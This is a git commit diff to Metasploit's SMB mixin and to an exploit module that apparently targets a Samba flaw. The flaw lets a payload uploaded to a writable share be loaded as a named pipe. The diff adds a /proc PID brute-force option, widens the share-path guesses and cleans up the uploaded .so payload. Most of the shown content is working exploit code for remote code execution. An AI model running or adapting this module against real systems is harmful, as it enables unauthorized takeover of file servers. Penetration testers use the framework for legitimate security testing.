Delete the .so, add PID bruteforce option, cleanup
parent
cf7cfa9b2c
commit
18a871d6a4
|
@ -125,9 +125,10 @@ module Msf
|
|||
#
|
||||
# You should call {#connect} before calling this
|
||||
#
|
||||
# @param simple_client [Rex::Proto::SMB::SimpleClient] Optional SimpleClient instance to use
|
||||
# @return [void]
|
||||
def smb_login
|
||||
simple.login(
|
||||
def smb_login(simple_client = self.simple)
|
||||
simple_client.login(
|
||||
datastore['SMBName'],
|
||||
datastore['SMBUser'],
|
||||
datastore['SMBPass'],
|
||||
|
@ -142,7 +143,7 @@ module Msf
|
|||
datastore['SMB::Native_LM'],
|
||||
{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost}
|
||||
)
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||
simple_client.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||
end
|
||||
|
||||
|
||||
|
|
|
@ -25,6 +25,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery
|
||||
'hdm', # Metasploit Module
|
||||
'Brendan Coles <bcoles[at]gmail.com>', # Check logic
|
||||
'Tavis Ormandy <taviso[at]google.com>', # PID hunting technique
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
|
@ -58,6 +59,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),
|
||||
OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
|
||||
])
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]),
|
||||
])
|
||||
end
|
||||
|
||||
|
||||
|
@ -67,7 +73,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
candidates << datastore['SMB_SHARE_BASE']
|
||||
end
|
||||
|
||||
%W{/volume1 /volume2 /volume3 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared}.each do |base_name|
|
||||
%W{ /volume1 /volume2 /volume3 /volume4
|
||||
/shared /mnt /mnt/usb /media /mnt/media
|
||||
/var/samba /tmp /home /home/shared
|
||||
}.each do |base_name|
|
||||
candidates << base_name
|
||||
candidates << [base_name, @share]
|
||||
candidates << [base_name, @share.downcase]
|
||||
|
@ -174,9 +183,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
shares
|
||||
end
|
||||
|
||||
def probe_module_path(path)
|
||||
def probe_module_path(path, simple_client=self.simple)
|
||||
begin
|
||||
simple.create_pipe(path)
|
||||
simple_client.create_pipe(path)
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
vprint_error("Probe: #{path}: #{e}")
|
||||
end
|
||||
|
@ -251,24 +260,54 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def find_payload
|
||||
print_status("Payload is stored in //#{rhost}/#{@share}/#{@path} as #{@payload_name}")
|
||||
|
||||
# Reconnect to IPC$
|
||||
simple.connect("\\\\#{rhost}\\IPC$")
|
||||
|
||||
#
|
||||
# In a perfect world we would find a way make IPC$'s associated CWD
|
||||
# change to our share path, which would allow the following code:
|
||||
#
|
||||
# probe_module_path("/proc/self/cwd/#{@path}/#{@payload_name}")
|
||||
#
|
||||
|
||||
# Until we find a better way, brute force based on common paths
|
||||
# Look for common paths first, since they can be a lot quicker than hunting PIDs
|
||||
print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}")
|
||||
generate_common_locations.each do |location|
|
||||
target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')
|
||||
print_status("Trying location #{target}...")
|
||||
probe_module_path(target)
|
||||
end
|
||||
|
||||
# Exit early if we already have a session
|
||||
return if session_created?
|
||||
|
||||
return unless datastore['BruteforcePID']
|
||||
|
||||
# XXX: This technique doesn't seem to work in practice, as both processes have setuid()d
|
||||
# to non-root, but their /proc/pid directories are still owned by root. Tryign to
|
||||
# read the /proc/other-pid/cwd/target.so results in permission denied. There is a
|
||||
# good chance that this still works on some embedded systems and odd-ball Linux.
|
||||
|
||||
# Use the PID hunting strategy devised by Tavis Ormandy
|
||||
print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)")
|
||||
|
||||
# Configure the main connection to have a working directory of the file share
|
||||
simple.connect("\\\\#{rhost}\\#{@share}")
|
||||
|
||||
# Use a second connection to brute force the PID of the first connection
|
||||
probe_conn = connect(false)
|
||||
smb_login(probe_conn)
|
||||
probe_conn.connect("\\\\#{rhost}\\#{@share}")
|
||||
probe_conn.connect("\\\\#{rhost}\\IPC$")
|
||||
|
||||
# Run from 2 to MAX_PID (ushort) trying to read the other process CWD
|
||||
2.upto(32768) do |pid|
|
||||
|
||||
# Look for the PID associated with our main SMB connection
|
||||
target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/')
|
||||
vprint_status("Trying PID with target path #{target}...")
|
||||
probe_module_path(target, probe_conn)
|
||||
|
||||
# Keep our main connection alive
|
||||
if pid % 1000 == 0
|
||||
self.simple.client.find_first("\\*")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
|
@ -331,7 +370,18 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
upload_payload
|
||||
|
||||
# Find and execute the payload from the share
|
||||
find_payload rescue Rex::StreamClosedError
|
||||
begin
|
||||
find_payload
|
||||
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
|
||||
end
|
||||
|
||||
# Cleanup the payload
|
||||
begin
|
||||
simple.connect("\\\\#{rhost}\\#{@share}")
|
||||
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
|
||||
simple.delete(uploaded_path)
|
||||
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
|
||||
end
|
||||
|
||||
# Shutdown
|
||||
disconnect
|
||||
|
|
Loading…
Reference in New Issue